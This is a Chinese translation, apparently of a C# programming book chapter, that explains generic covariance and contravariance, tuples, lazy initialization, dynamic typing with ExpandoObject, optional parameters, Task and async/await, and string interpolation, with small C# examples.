Luca Cardelli 从 1984 年就开始解释面向对象编程(OOP)中的变体概念(参见 Luca Cardelli 的《多重继承的语义》lucacardelli.name/Papers/Inheritance%20(Semantics%20of%20Data%20Types).pdf)。

Meyer 在 1995 年的文章《静态类型》中提到了对泛型类型的需求(也可在se.ethz.ch/~meyer/publications/acm/typing.pdf找到),指出为了安全、灵活和高效,适当的组合(他谈论的是语言中的静态和动态特性)我认为是静态类型和动态绑定

在其他具有开创性意义的工作中,如今广泛使用,ACM A.M. Turing Award 获奖者Barbara Liskov发表了其著名的替换原则,该原则指出:

“在计算机程序中,如果 S 是 T 的子类型,那么 T 类型的对象可以被 S 类型的对象替换(即,S 类型的对象可以替代 T 类型的对象),而不会改变该程序的所有期望属性(正确性、执行的任务等)。”

注意

关于协变和逆协变的某些想法在由 Miguel Katrib 教授和 Mario del Valle 在已经停刊的dotNetMania杂志上发表的出色解释中得到了解释。然而,你可以在issuu.com/pacomarin3/docs/dnm_062(西班牙语)中找到它。

简而言之,这意味着如果我们有一个类型,Polygon,以及两个继承自前者的子类型,TriangleRectangle,以下操作是有效的:

Polygon p = new Triangle();
Polygon.GreaterThan(new Triangle(), new Rectangle());

变量的概念与以下情况相关,即你可以使用在类型T上定义的类、接口、方法和委托,而不是在T的子类型或超类型上定义的相应元素。换句话说,如果C<T>是类型T的泛型实体,我能用另一个类型的C<T1>C<ST>来替换它吗?其中T1T的子类型,STT的超类型。

注意,在提案中,基本上,问题出现在哪里我可以应用 Liskov 替换原则并期望得到正确的行为?

这种某些语言的能力被称为(根据继承的方向)子类型的协变和其对立面逆协变。这两个特性与参数多态性绝对相关,即泛型。

在语言的 2.0 和 3.0 版本中,这些功能并不存在。如果我们在这任何版本中编写以下代码,甚至无法编译它,因为编辑器本身会通知我们问题:

List<Triangle> triangles = new List<Triangle>
{
  new Triangle(),
  new Triangle()
};
List<Polygon> polygons = triangles;

甚至在编译之前,我们就会收到通知,无法将三角形转换为多边形,如下面的截图所示:

协变和逆变

在上一个例子中,当我们使用 C# 4.0 或更高版本时,解决方案很简单:我们可以通过调用 List 的泛型类型转换器,只需添加一个简单的调用,将 triangles 赋值转换为 List<Polygon>

List<Polygon> polygons = triangles.ToList<Polygon>();

在这种情况下,LINQ 扩展为我们提供了帮助,因为已经向集合中添加了几个转换器,以便提供这种方便的操作,这简化了以连贯方式使用对象层次结构。

接口中的协变

考虑以下代码,其中我们更改定义的多边形标识符为类型 IEnumerable<Polygon>

IEnumerable<Polygon> polygons2 =
  new List<Triangle> {
  new Triangle(), new Triangle()};

这不会导致编译错误,因为相同的想法也应用于接口。为了允许这样做,接口的泛型参数,如 IEnumerable<T>,仅用作输出值。在这种情况下,查看定义时使用 Peek Definition 选项(在编辑器的上下文菜单中可用于任何类型)是很有趣的:

接口中的协变

相反,IEnumerable 接口仅定义了 GetEnumerator 方法,以便返回一个遍历 T 类型集合的迭代机制。它仅通过 Current 属性返回 T,没有其他操作。因此,不存在以错误方式操作元素的风险。

换句话说,根据我们的例子,你无法使用类型为 T 的对象,在期望三角形的地方放置一个矩形,因为接口指定 T 只能在退出上下文中使用;它用作返回类型。

你可以在 Object Browser 中看到这个定义,要求 IEnumerator<T>

接口中的协变

然而,当你使用另一个接口,如 IList,它允许用户在集合中分配后更改类型时,情况就不同了。例如,以下代码会生成编译错误:

IList<Polygon> polygons3 =
  new List<Triangle> {
  new Triangle(), new Triangle()};

如你所见,代码与之前相同,只是更改了用于 polygons3 赋值的泛型接口类型。为什么?因为 IList 的定义包括一个索引器,你可以用它来更改内部值,如 Object Explorer 所示。

就像任何其他索引器一样,实现提供了一种通过直接赋值来更改集合中值的方法。这意味着我们可以编写以下代码来引发类层次结构的破坏:

polygons3[1] = new Rectangle();

注意接口 IList<T> 的定义:this[int] 是读写,如以下捕获所示:

接口中的协变

这是因为一旦创建集合中的项,就可以将其设置为另一个值,正如我们可以在前面的截图中所看到的。

值得注意的是,此 out 指定仅在使用接口时适用。从 IEnumerable<T>(或任何定义了 out 泛型参数的其他接口)派生的 Types 不必满足此要求。

此外,此协变仅在使用引用的转换语句时适用于引用类型。这就是为什么我们不能将 IEnumerable<int> 赋值给 IEnumerable<object>;这种转换意味着装箱(堆和栈都受到影响),因此它不是一个纯引用转换。

泛型类型中的协变

协变可以扩展到泛型类型,并与预定义的委托一起使用(记住,这些由框架工厂提供的委托可以是 ActionPredicateFunc 类型)。

要放置一个展示此功能的简单代码,请观察以下声明:

IEnumerable<Func<Polygon>> dp =
  new List<Func<Rectangle>>();

在这里,我们将类型为 Rectangle 的委托列表赋值给类型为 Polygon 的可枚举委托。这是可能的,因为三个特性发挥了作用:

  • 根据替换原则,Rectangle 可以赋值给 Polygon

  • 由于 Func<T> 的泛型 out T 参数中的协变,Func<Rectangle> 可以赋值给 Func<Polygon>

  • 最后,由于 IEnumerable<Func<Rectangle>> 可以赋值给 IEnumerable<Func<Polygon>>,这是由于 IEnumerable 的泛型类型 out T 的协变扩展。

注意,提到的替换原则不应与某些类型(特别是原始或基本类型)的可转换性混淆。

为了说明这个特性,只需考虑以下定义:

IEnumerable<int> ints = new int[] { 1, 2, 3 };
IEnumerable<double> doubles = ints;

第二句话会生成编译错误,因为尽管存在从 intdouble 的隐式转换,但这种转换被认为是协变的,因为这只适用于类型之间的继承关系,而 intdouble 类型之间没有继承关系,因为它们都不继承自对方。

LINQ 中的协变

协变在以下情况下也很重要,即使用 LINQ 语法定义的一些运算符。例如,这种情况出现在 Union 运算符中。

在之前的版本中,考虑你尝试编写如下代码:

polygons = polygons.Union(triangles);

如果你编写类似于前面的代码,你会得到一个编译错误,但从版本 4.0 开始就不会发生这种情况。这是因为在新定义中,运算符 Union 的参数使用了提到的协变,因为它们是 IEnumerable<T> 类型。

然而,不可能编译如下代码:

var y = triangles.Union(rectangles);

这是因为编译器指示没有 Union 的定义,最佳方法重载 Queryable.Union<Program.Rectangle> (IQueryable<Program.Rectangle>, IEnumerable<Program.Rectangle>) 需要一个类型为 IQueryable<Program.Rectangle> 的接收者,如即将显示的截图所示。

这次可以通过帮助编译器理解我们的目的来避免这种情况,通过泛型:

var y = triangles.Union<Polygon>(rectangles);

观察一下错误列表窗口如何描述错误,它从适当的源代码元素及其定义和能力方面进行解释(见以下截图):

LINQ 中的协方差

逆变

逆变的情况不同,通常理解起来也稍微困难一些。为了通过一个已知的例子来理解事物,让我们回忆一下我们在上一章中使用的IComparer<T>接口。

我们使用IComparer<T>的实现来无区别地比较CustomerProvider类型的集合:

public class GenericComparer : IComparer<IPersonBalance>
{
  public int Compare(IPersonBalance x, IPersonBalance y)
  {
    if (x.Balance < y.Balance) { return -1; }
    else if (x.Balance > y.Balance) return 1;
    else { return 0; }
  }
}

这样,只要CustomerProvider类实现了IPersonBalance接口,我们就可以比较这两种类型。

在语言之前的(到 C# 4.0)版本中,考虑一下你尝试使用类似的代码来比较多边形和三角形的情况,如下所示:

// Contravariance
IComparer<Polygon> polygonComparer = new
  ComparePolygons();
triangles = triangles.Sort(polygonComparer);

你将得到一个错误提示,通常是这样的:TrianglePolygon之间没有转换,而实际上接收这些类型真的没有风险;它们只会被用来比较实体。

在这种情况下,继承箭头是倒置的——从具体到泛型——并且由于两者都是Polygon类型,比较应该是可能的。

从 C# 4.0 版本开始,这发生了变化。IComparer接口的新定义为T操作符定义了另一个in修饰符,当你在声明上右键单击时使用预览定义功能:

逆变

如您所见,定义表明参数T是逆变的:您可以使用指定的类型或任何更少派生的类型,即继承链中的任何祖先类型。

在这种情况下,in修饰符指定了这个可能性,并指示编译器类型T只能用于入口上下文,如这里发生的情况,因为T的目的就是指定入口参数xy的类型。

元组:一个回忆

从很早的时候起,编程语言就试图表达元组的概念,首先体现在 COBOL 语言中。后来,Pascal 通过记录的概念跟进:一种特殊的数据结构,与数组不同,它收集不同性质的数据类型,以便定义特定的结构,例如客户或产品。

让我们记住,C 语言本身在 C++的发展过程中提供了结构(structs),这些结构被增强为对象。通常,这个结构的每个字段都代表整体的一个特征,因此通过一个有意义的描述来访问其值比使用其位置(如数组中那样)更有意义。

这个想法也与数据库的关系模型相关,因此特别适合表示这些实体。使用对象,可以添加功能来重新创建需要在应用程序中表示的真实对象属性片段:对象模型。

然后,为了提高可重用性和适应性,面向对象编程开始推广对象,以隐藏其状态的一部分(或全部状态)作为保持其内部一致性的手段。一位在知名大学开设面向对象编程课程的理论家说:“类的方法应该只具有维护其自身状态内部逻辑的目的”,我不记得这位理论家的名字。我们可以承认,除了例外情况,这个说法是正确的。

如果状态的一部分可以被抽象化(用数学术语来说,可以说它们构成一个模式),那么它们就是更高类(抽象或不抽象)的候选者,因此可重用性从这些共同因素开始。

在这个演变过程中,元组的概念在某种程度上丢失了,所有的土地都让给了对象的概念,编程语言(除了一些值得注意的例外,主要在函数式语言领域)不再有它们自己的符号来处理元组。

然而,实践表明,并非所有与数据相关的工作都需要使用统一的对象。也许最明显的情况出现在从数据库查询数据时——正如我们在 LINQ 查询中看到的那样。一旦过滤后的数据满足某些要求,我们只需要一些组件(这在数据库术语中被称为投影,正如我们在前面的例子中所测试的那样)。

这些投影不过是匿名对象,它们不值得预先定义,因为它们通常在单个过程中处理。

元组:C#中的实现

.NET 4 中元组的实现基于八个泛型类Tuple<>的定义(mscorlib.dll程序集和System命名空间),这些类具有不同数量的类型参数,用于表示不同基数(也称为 arity)的元组。

作为这个泛型类家族的补充,Tuple类提供了Create方法的八个重载,将其转换为一个多种可能变体的工厂。为了提供创建更长的元组所需资源,列表中的第八个元组本身也可以是一个元组,允许它按需增长。

以下代码显示了这些方法之一的具体实现。因此,为了创建元组,我们可以利用更简洁的表示法,并编写如下:

Tuple.Create(1, 2, 3, 4, 5);

我们将发现 Visual Studio 的 Intellisense 系统如何警告我们关于由这种声明生成的结构,以及它是如何被编辑器解释的:

元组:C#中的实现

因此,我们可以用这种方式简单地表达,而不是使用以下更明确的代码:

new Tuple<int,int,int,int,int>(1, 2, 3, 4, 5);

由于元组可以持有任何类型的元素,因此声明一个多种类型的元组是完全可以的:

Tuple.Create("Hello", DateTime.Today, 99, 3.3);

这类似于我们定义对象状态元素时所做的,我们可以确信编译器将推断出其不同的类型,如下面的屏幕截图所示:

元组:C# 中的实现

当与数据库表中典型的记录进行比较时,这种用法变得明显,因为它能够垂直选择我们需要的成员(字段,如果你愿意),我们将看到比较元组与匿名类型的一个示例。

元组:支持结构相等性

使用 .NET 的元组类(因此,它们的主体通过引用处理),使用 == 操作符比较两个元组是引用性的;也就是说,它依赖于比较对象所在的内存地址;因此,即使它们存储了相同的数据,也会返回 false

然而,Equals 方法已被重新定义,以便根据比较每一对对应元素的值(所谓的结构相等性)来建立相等性,这在大多数元组应用中是期望的,并且在 F# 语言中比较元组相等性的默认语义也是这样的。

注意,元组的结构相等性实现有其特殊性,首先是从具有元组第八成员的元组必须以递归方式访问的事实开始。

元组与匿名类型

对于投影的情况,元组适应得很好,并允许我们摆脱匿名类型。想象一下,我们想要列出给定 Customers 表的三个字段(比如说,从可能的数十个字段中选择它们的 CodeNameBalance 字段),并且我们需要通过它们的 City 字段进行过滤。

如果我们假设我们有一个名为 Customers 的客户集合,以这种方式编写方法更容易:

static IEnumerable<Tuple<int, string, double>> CustBalance(string city)
{
  var result =
    from c in Customers
    where c.City == city
    orderby c.Code, c.Balance
    select Tuple.Create(c.Code, c.Name, c.Balance);
  return result;
}

因此,该方法返回 IEnumerable<Tuple<int, string, double>>,我们可以在需要时引用它,并从 Intellisense 引擎获得额外支持,这使得迭代和输出非常容易。

为了测试这个功能,我从网站(random-name-generator.info/)生成了一份随机名称列表,命名为 ListOfNames.txt,以便有一个随机客户名称列表,并且我用随机值填充了其余字段,以便我们有一个基于以下类的客户列表:

public class Customer
{
  public int Code { get; set; }
  public string Name { get; set; }
  public string City { get; set; }
  public double Balance { get; set; }

  public List<Customer> getCustomers()
  {
    string[] names = File.ReadAllLines("ListOfNames.txt");
    string[] cities = { "New York", "Los Angeles", "Chicago", "New Orleans" };
    int totalCustomers = names.Length;
    List<Customer> list = new List<Customer>();
    Random r = new Random(DateTime.Now.Millisecond);
    for (int i = 1; i < totalCustomers; i++)
    {
      list.Add(new Customer()
      {
        Code = i,
        Balance = r.Next(0, 10000),
        Name = names[r.Next(1, 50)],
        City = cities[r.Next(1, 4)]
      });
    }
    return list;
  }
}

注意

除了之前提到的那些,你可以在互联网上找到相当多的随机名称生成器。你只需配置它们(它们允许一定程度的调整)并将结果保存到 Visual Studio 中的文本文件中。只是记住,复制粘贴操作很可能会包含制表符代码(\t)分隔符。

在包含入口点的 TuplesDemo 类中,定义了以下代码:

static List<Customer> Customers;
static IEnumerable<Tuple<int, string, double>> Balances;
static void Main()
{
  Customers = new Customer().getCustomers();
  Balances = CustBalance("Chicago");
  Printout();
  Console.ReadLine();
}

static void Printout()
{
  string formatString = " Code: {0,-6} Name: {1,-20} Balance: {2,10:C2}";
  Console.WriteLine(" Balance: Customers from Chicago");
  Console.WriteLine((" ").PadRight(32, '-'));
  foreach (var f in Balances)
    Console.WriteLine(formatString, f.Item1, f.Item2, f.Item3);
}

使用这种结构,一切正常,我们不需要使用匿名对象,正如我们在控制台输出中看到的那样:

元组与匿名类型

唯一的不完美之处在于我们引用Balance成员的方式,因为它们失去了类型名称,所以我们不得不通过标识符Item1Item2等来引用它们(在 C# 7 版本中已经得到了改进,元组的成员可以具有标识符)。

即使如此,这相对于之前的方法仍然是一个优点,并且我们对 LINQ 查询生成的成员有了更多的控制。

懒加载和实例化

为了完成对 C# 4.0 中出现的重要功能的回顾,我想介绍一种新的对象实例化方式,称为懒加载。官方文档定义了懒对象和对象的懒初始化,指出其创建被延迟到首次使用时。注意,这里两个术语是同义的:初始化和实例化。

这提醒我们,懒加载主要用于提高性能、避免浪费的计算和减少程序内存需求。通常,这发生在您有一个需要一些时间来创建的对象(如连接)或由于任何原因可能会产生瓶颈的情况。

与通常创建对象的方式不同,.NET 4.0 引入了Lazy<T>,它有效地延迟了创建,从而允许明显的性能提升,我们将在以下演示中看到。

让我们使用之前的代码,但这次,我们通过添加一个懒加载版本的它来加倍创建客户的方法。为了更准确地证明这一点,我们在Customer类的构造函数中引入了延迟,所以它最终看起来是这样的:

public class Customer
{
  public int Code { get; set; }
  public string Name { get; set; }
  public string City { get; set; }
  public double Balance { get; set; }
  public Customer()
  {
    // We force a delay for testing purposes
    Thread.Sleep(100);
  }
  public List<Customer> getCustomers()
  {
    string[] names = File.ReadAllLines("ListOfNames.txt");
    string[] cities = { "New York", "Los Angeles", "Chicago", "New Orleans" };
    int totalCustomers = names.Length;
    List<Customer> list = new List<Customer>();
    Random r = new Random(DateTime.Now.Millisecond);
    for (int i = 1; i < totalCustomers; i++)
    {
      list.Add(new Customer()
      {
        Code = i,
        Balance = r.Next(0, 10000),
        Name = names[r.Next(1, 50)],
        City = cities[r.Next(1, 4)]
      });
    }
    return list;
  }

  public List<Lazy<Customer>> getCustomersLazy()
  {
    string[] names = File.ReadAllLines("ListOfNames.txt");
    string[] cities = { "New York", "Los Angeles", "Chicago", "New Orleans" };
    int totalCustomers = names.Length;
    List<Lazy<Customer>> list = new List<Lazy<Customer>>();
    Random r = new Random(DateTime.Now.Millisecond);
    for (int i = 1; i < totalCustomers; i++)
    {
      list.Add(new Lazy<Customer>(() => new Customer()
      {
        Code = i,
        Balance = r.Next(0, 10000),
        Name = names[r.Next(1, 50)],
        City = cities[r.Next(1, 4)]
      }));
    }
    return list;
  }
}

注意两个主要差异:首先,构造函数强制每个调用延迟十分之一秒。其次,创建Customer列表的新方法(getCustomersLazy)被声明为List<Lazy<Customer>>。此外,每个对构造函数的调用都来自与Lazy<Customer>构造函数关联的 lambda 表达式。

Main方法中,这次,我们不需要展示结果;我们只需要展示使用两种方法创建Customers所花费的时间。因此,我们按照以下方式修改了它:

static List<Customer> Customers;
static List<Lazy<Customer>> CustomersLazy;
static void Main()
{
  Stopwatch watchLazy = Stopwatch.StartNew();
  CustomersLazy = new Customer().getCustomersLazy();
  watchLazy.Stop();
  Console.WriteLine(" Generation of Customers (Lazy Version)");
  Console.WriteLine((" ").PadRight(42, '-'));
  Console.WriteLine(" Total time (milliseconds): " +
    watchLazy.Elapsed.TotalMilliseconds);
  Console.WriteLine();

  Console.WriteLine(" Generation of Customers (non-lazy)");
  Console.WriteLine((" ").PadRight(42, '-'));
  Stopwatch watch = Stopwatch.StartNew();
  Customers = new Customer().getCustomers();
  watch.Stop();
  Console.WriteLine("Total time (milliseconds): " +
  watch.Elapsed.TotalMilliseconds);
  Console.ReadLine();
}

通过这些更改,相同的类被调用,相同的句子也被用于创建,只是在第一次创建过程中改为懒加载。顺便说一句,您可以更改创建的顺序(首先调用非懒加载例程)并检查性能是否没有实质性变化:懒加载结构几乎立即执行(几乎没有超过 100 毫秒,这是在Customer的初始创建中由Thread.Sleep(100)强制的时间)。

如您在以下屏幕截图中所见,这种差异可能是显著的:

懒加载和实例化

因此,当延迟对象的创建可以在数据初始展示时产生很大的时间差异时,框架 4.0 版本中出现的新颖且有用的解决方案变得特别有趣。

动态规划

程序员最请求的功能之一是能够在没有静态类型强加的限制下创建和操作对象,因为有许多日常情况中这种可能性提供了很多有用的选项。

然而,我们不要将 C# 4.0 提供的动态特性与计算机科学中的一般动态规划概念混淆,其中定义指的是将问题分解为更小的问题,并寻求每个这些情况的最佳解决方案,程序能够在稍后时间访问这些较小的解决方案以获得最佳性能。

然而,在.NET Framework 的背景下,C# 4.0 引入了一系列与新的命名空间(System.Dynamic)和新的保留字dynamic相关的特性,这允许声明摆脱了我们迄今为止所见的类型检查功能的元素。

动态类型

使用dynamic关键字,我们可以声明在编译时未经检查但在运行时可以解决的变量。例如,我们可以写出以下声明而不会出现任何问题(在撰写本文时):

dynamic o = GetUnknownObject();
o.UnknownMethod();

在此代码中,o被声明为静态的动态类型,这是编译器支持的一种类型。即使不知道UnknownMethod的含义或它在执行时是否存在,此代码也能编译。如果方法不存在,将抛出异常。具体来说,由于过程的动态绑定特性,会出现Microsoft.CSharp.RuntimeBinder.RuntimeBinderException异常,正如我们在拼写字符串中的ToUpper()方法调用时看到的那样(我们稍后会解释代码片段):

动态类型

当这种声明出现时,与之前声明的差异引起了一些混淆,如下所示:

object p = ReturnObjectType();
((T)p).UnknownMethod();

这里的不同之处在于我们必须事先知道存在一个类型T,并且它有一个名为UnknownMethod的方法。在这种情况下,类型转换操作确保生成 IL 代码以保证p引用符合T类型。

在第一种情况下,编译器无法生成调用UnknownMethod的代码,因为它甚至不知道是否存在这样的方法。相反,它生成一个动态调用,这将由另一个新的执行引擎处理,称为动态语言运行时DLR)。

DLR(动态语言运行时)的作用之一也是推断相应的类型,并从那时起相应地处理动态对象:

dynamic dyn = "This is a dynamic declared string";
Console.WriteLine(dyn.GetType());
Console.WriteLine(dyn);
Console.WriteLine(dyn.Length);
Console.WriteLine(dyn.ToUpper());

因此,这意味着我们不仅可以使用dyn的值,还可以像前面的代码所示,使用其属性和方法,以预期的行为表现,并显示dyn是一个类型字符串对象,并在控制台中展示结果,就像我们一开始就声明了dynstring一样:

动态类型

也许你还记得我们在第一章中提到的反射特性,CLR 内部,并且想知道为什么我们需要它,因为许多以这种方式可用的特性也可以通过反射编程来管理。

为了进行比较,让我们快速回顾一下这种可能性会是什么样子(比如说我们想要读取Length属性):

dynamic dyn = "This is a dynamic declared string";
Type t = dyn.GetType();
PropertyInfo prop = t.GetProperty("Length");
int stringLength = prop.GetValue(dyn, new object[] { });
Console.WriteLine(dyn);
Console.WriteLine(stringLength);

对于这种场景,我们得到了我们预期的相同输出,并且从技术上讲,性能损失是可以忽略不计的:

动态类型

看起来这两个结果是一样的,尽管我们得到它们的方式完全不同。然而,除了反射技术中涉及到的样板代码之外,DLR(动态语言运行时)更高效,我们还有可能个性化动态调用。

对于有经验的静态类型程序员来说,这可能会显得有些矛盾:我们失去了与之关联的 Intellisense,动态关键字迫使编辑器背后的理解,伴随此类类型的方法和属性也将以动态的方式呈现。请参考下一张截图所示的提示信息:

动态类型

这种特性的部分灵活性来自于任何引用类型都可以转换为动态类型,并且这可以通过(通过装箱)与任何值类型一起完成。

然而,一旦我们确定我们的动态对象为某种类型(例如,在本例中的String),动态性就到此为止。我的意思是,你不能使用除String类定义中可用的资源之外的其他类型的资源。

ExpandoObject对象

与这种语言的动态特性相关联的添加之一是称为ExpandoObject的东西,正如你可能从其名称中推测出的那样——它允许你使用任何类型和任何数量的属性来扩展一个对象,让编译器保持安静,并以类似在真实动态语言(如 JavaScript)中编码的方式表现。

让我们看看如何使用这些ExpandoObject对象之一来创建一个以完全动态的方式增长的对象:

// Expando objects allow dynamic creation of properties
dynamic oex = new ExpandoObject();
oex.integerProp = 7;
oex.stringProp = "And this is the string property";
oex.datetimeProp = new ExpandoObject();
oex.datetimeProp.dayOfWeek = DateTime.Today.DayOfWeek;
oex.datetimeProp.time = DateTime.Now.TimeOfDay;
Console.WriteLine("Int: {0}", oex.integerProp);
Console.WriteLine("String: {0}", oex.stringProp);
Console.WriteLine("Day of Week: {0}", oex.datetimeProp.dayOfWeek);
Console.WriteLine("Time: {0}", oex.datetimeProp.time);

如前述代码所示,我们不仅可以扩展对象以包含我们想要的类型的新属性;我们甚至可以在对象内部嵌套其他对象。正如这个截图在控制台输出中所示,在运行时没有问题:

ExpandoObject 对象

实际上,这些动态特性可以与我们已经看到的其他泛型特性结合使用,因为在此上下文中也允许声明泛型动态对象。

为了证明这一点,我们可以创建一个方法,该方法构建包含有关 Packt Publishing 书籍信息的ExpandoObjects

public static dynamic CreateBookObject(dynamic title, dynamic pages)
{
  dynamic book = new ExpandoObject();
  book.Title = title;
  book.Pages = pages;
  return book;
}

注意,一切都是动态声明的:方法本身以及传递给它的参数。稍后,我们可以使用泛型集合与这些对象一起使用,如下面的代码所示:

var listOfBooks = new List<dynamic>();
var book1 = CreateBookObject("Mastering C# and .NET Programming", 500);
var book2 = CreateBookObject("Practical Machine Learning", 468);
listOfBooks.Add(book1);
listOfBooks.Add(book2);
var bookWith500Pages = listOfBooks.Find(b => b.Pages == 500);
Console.WriteLine("Packt Pub. Books with 500 pages: {0}",
  bookWith500Pages.Title);
Console.ReadLine();

一切都按预期工作。内部,ExpandoObject表现得像Dictionary<string, object>,其中动态添加的字段名称是键(类型为String),值是任何类型的对象。因此,在前面的代码中,List集合的Find方法工作正常,找到我们正在寻找的对象,并检索标题以在控制台显示:

The ExpandoObject object

还有一些其他的动态特性,但我们将在这本关于互操作性的章节中处理其中的一些,我们将探讨 C#应用程序与其他操作系统中的应用程序之间的交互可能性,包括 Office 应用程序以及通常所说的任何实现了并公开了类型库的其他应用程序。

可选和命名参数

很久以前,程序员就要求声明可选参数,特别是考虑到这是一个从 Visual Basic .NET 开始就存在的特性。

红 mond 团队实现这种方式很简单:只要将参数定位在参数列表的末尾,就可以定义与参数关联的常量值。因此,我们可以以这种方式定义这些方法之一:

static void RepeatStringOptional(int x, string text = "Message")
{
  for (int i = 0; i < x; i++)
  {
    Console.WriteLine("String no {0}: {1}", i, text);
  }
}

因此,可选参数的特点是赋予一个初始值。这样,如果只传递一个参数调用RepeatStringOptional方法,text参数将使用传递的值初始化,因此它永远不会为 null。IDE 本身在编写方法调用时提醒我们这种情况。

Optional and named parameters

记住,按照惯例,在计算机科学定义中,任何括在方括号内的元素都被认为是可选的。

作为之前特性的变体,我们还可以使用function_name (name: arg)语法模式提供一个带有名称的参数。遵循相同的可选参数结构模式;也就是说,如果我们向函数传递一个命名参数,它必须放在任何其他位置参数之后,尽管在命名参数部分它们的相对顺序并不重要。

Task 对象和异步调用

虽然这不是语言本身的一部分,但本章中值得提及的一个基类库BCL)功能是,它是框架本版本中最重要的创新之一。直到这一点,构建和执行线程主要涉及两种形式:使用System.Thread命名空间提供的对象(自框架版本 1.0 以来可用)和从版本 3.0 开始,使用BackgroundWorker对象,它是System.Thread中可用功能的一个包装,以简化这些对象的创建。

后者主要用于长时间运行的过程,在执行过程中需要反馈(进度条等)。这是第一次尝试简化线程编程,但自从新的Task对象出现以来,大多数这些场景(以及许多其他涉及并行或线程运行过程的情况)主要是以这种方式编写的。

它的使用很简单(尤其是与之前的选项相比)。您可以使用Action委托将Task非泛型对象与任何方法关联起来,正如 IDE 在通过调用其构造函数创建新任务时建议的那样:

任务对象和异步调用

因此,如果我们有一个慢速方法,并且我们没有对返回类型有特殊要求(因此它可以是非泛型的),我们可以通过编写以下代码在单独的线程中调用它:

public static string theString = "";
static void Main(string[] args)
{
  Task t = new Task(() =>
  {
    SlowMethod(ref theString);
  });
  t.Start();
  Console.WriteLine("Waiting for SlowMethod to finish...");
  t.Wait();
  Console.WriteLine("Finished at: {0}",theString);
}

static void SlowMethod(ref string value)
{
  System.Threading.Thread.Sleep(3000);
  value = DateTime.Now.ToLongTimeString();
}

注意以下代码中的几个细节:首先,参数是通过引用传递的。这意味着theString的值会被SlowMethod改变,但由于该方法应该符合Action的签名(没有返回类型),因此没有提供返回类型;因此,为了访问修改后的值,我们需要通过引用传递,并在我们的SlowMethod代码中包含如何修改它的方法。

另一个主要点是,我们需要等待SlowMethod完成后再尝试访问theString(注意,方法通过调用Thread.Sleep(3000)被强制执行 3 秒钟以完成。否则,执行将继续,访问的值将是原始的空字符串。在此期间,可以执行其他操作,例如在控制台打印消息。

当我们需要Task与给定类型一起操作时,也提供了该对象的泛型变体。只要我们定义一个Task<T>类型的变量,IDE 就会更改工具提示以提醒我们,在这种情况下,应该提供Func<T>类型的委托而不是Action,正如情况所示。您可以比较此截图与之前的截图:

任务对象和异步调用

然而,在下面的代码中,我们采用了更常见的通过调用Task<T>Factory对象中可用的StartNew<T>方法来创建泛型Task对象的方法,这样我们就可以以这种方式简化前面的示例:

static void Main(string[] args)
{
  Task<string> t = Task.Factory.StartNew<string>(
    () => SlowMethod());
  Console.WriteLine("Waiting for SlowMethod to finish...");
  t.Wait();
  Console.WriteLine("Finished at: {0}", t.Result);
  Console.ReadLine();
}
static string SlowMethod()
{
  System.Threading.Thread.Sleep(3000);
  return DateTime.Now.ToLongTimeString();
}

如您所见,这次我们不需要一个中间变量来存储返回值,Task<T>定义允许您创建几乎任何类型的Task对象。

关于任务和相关功能(如并行执行、异步调用等)的内容还有很多,所以我们将更深入地探讨所有这些内容,在第十二章,性能中,我们专门讨论性能和优化,所以把这当作对这个主题的非常简短的介绍。

C# 5.0: async/await 声明

为了增强创建和管理异步过程的可能性,并进一步简化代码,C# 5.0 版本引入了几个新的保留字,以便在不实现额外方法接收结果的情况下插入异步调用:这两个词是async/await(一个不能没有另一个使用)。

当一个方法被标记为async时,编译器会检查是否存在另一个以await关键字为前缀的句子。虽然我们整体编写方法,但编译器(内部)将方法分成两部分:async关键字首次出现的地方,以及从使用await的行开始的其余部分。

在执行时,一旦找到await语句,执行流程就会返回到调用方法并执行后续的语句(如果有)。一旦慢速过程返回,执行将继续进行到等待语句旁边的其余语句。

我们可以简要地查看一下它如何在前一个示例的转换中工作(正如我在与任务相关的内容中提到的,这个主题将在专门讨论性能的章节中更详细地介绍):

static void Main(string[] args)
{
  Console.WriteLine("SlowMethod started at...{0}",
    DateTime.Now.ToLongTimeString());
  SlowMethod();
  Console.WriteLine("Awaiting for SlowMethod...");
  Console.ReadLine();
}
static async Task SlowMethod()
{
  // Simulation of slow method "Sleeping" the thread for 3 secs.
  await Task.Run(new Action(() => System.Threading.Thread.Sleep(3000)));
  Console.WriteLine("Finished at: {0}", DateTime.Now.ToLongTimeString());
  return;
}

注意,我只是在不同的语法下写相同的代码。当执行流程到达SlowMethod(标记为await)的第一行时,它启动另一个执行线程并返回到调用方法(Main)的线程。因此,我们可以在Finished at指示符之前看到Awaiting for SlowMethod消息。

输出非常清晰,如下面的屏幕截图所示:

C# 5.0: async/await 声明

当然,正如我们在与Task对象相关的内容中指出的,这里所表达的内容远不止这些,我们将在第十章,设计模式中详细讨论这一点。但到目前为止,我们可以了解这种代码结构提供的优势和简化。

C# 6.0 的新特性

在这个语言版本中出现了许多相当有趣的功能,在许多情况下,这些功能与日常问题和全球开发者的建议相关联。此外,正如本章表 1 中所述,真正巨大、有意义的改进来自于与 Roslyn 服务相关的一系列功能,这些功能为 IDE 的编辑和编译功能提供了一组不同的可能性。我们将在第八章开源编程中介绍这些内容。

然而,Roselyn 并不是 C# 6.0 中出现的唯一有趣选项。这个版本包括了许多小但非常有用且语法上的“甜点”,这些“甜点”有助于程序员编写更简洁的表达式并减少错误的发生。让我们从一个叫做字符串插值的东西开始。

字符串插值

字符串插值是一种简化包含 C/C++ 风格插值的字符串表达式的途径。例如,我们不再需要编写经典的 Console.Write("string {0}", data) 组合,现在我们可以通过简单地包括标识符在花括号内来表示这一点,因此前面的表达式将变为 $"string {data}",前提是我们用 $ 符号在字符串前导,以便使其生效。

注意,我们可以将 @ 符号与 $ 符号混合使用,因为 $ 符号在 @ 符号之前。

此外,您可以使用 {} 区域包含一个将在运行时正确评估并由调用 ToString 方法转换为字符串的 C# 表达式,这样它就不限于标识符。因此,我们甚至可以包括文件 I/O 操作——就像我们在以下代码中所做的那样——并获得结果。

为了测试这个,我有一个包含一行内容的文本文件(TextFile.txt),该内容在输出中由单行代码中的字符串字面量伴随展示:

Console.WriteLine($"File contents: {File.ReadAllText("TextFile.txt")}");
Console.ReadLine();

正如您在下图中可以看到的,花括号内的表达式将被完全评估,并将结果插入到输出字符串中:

字符串插值

这种技术除了简化表达式外,还可以轻松地与其他新的 C# 6.0 功能结合使用,例如异常过滤器。

异常过滤器

另一个新增功能是关于异常的。异常过滤器提供了一种根据可以使用任何有效 C# 表达式编写的条件来个性化任何发生的异常的方法,该表达式应位于现在可能跟随任何 Catch 子句的新 when 子句旁边。

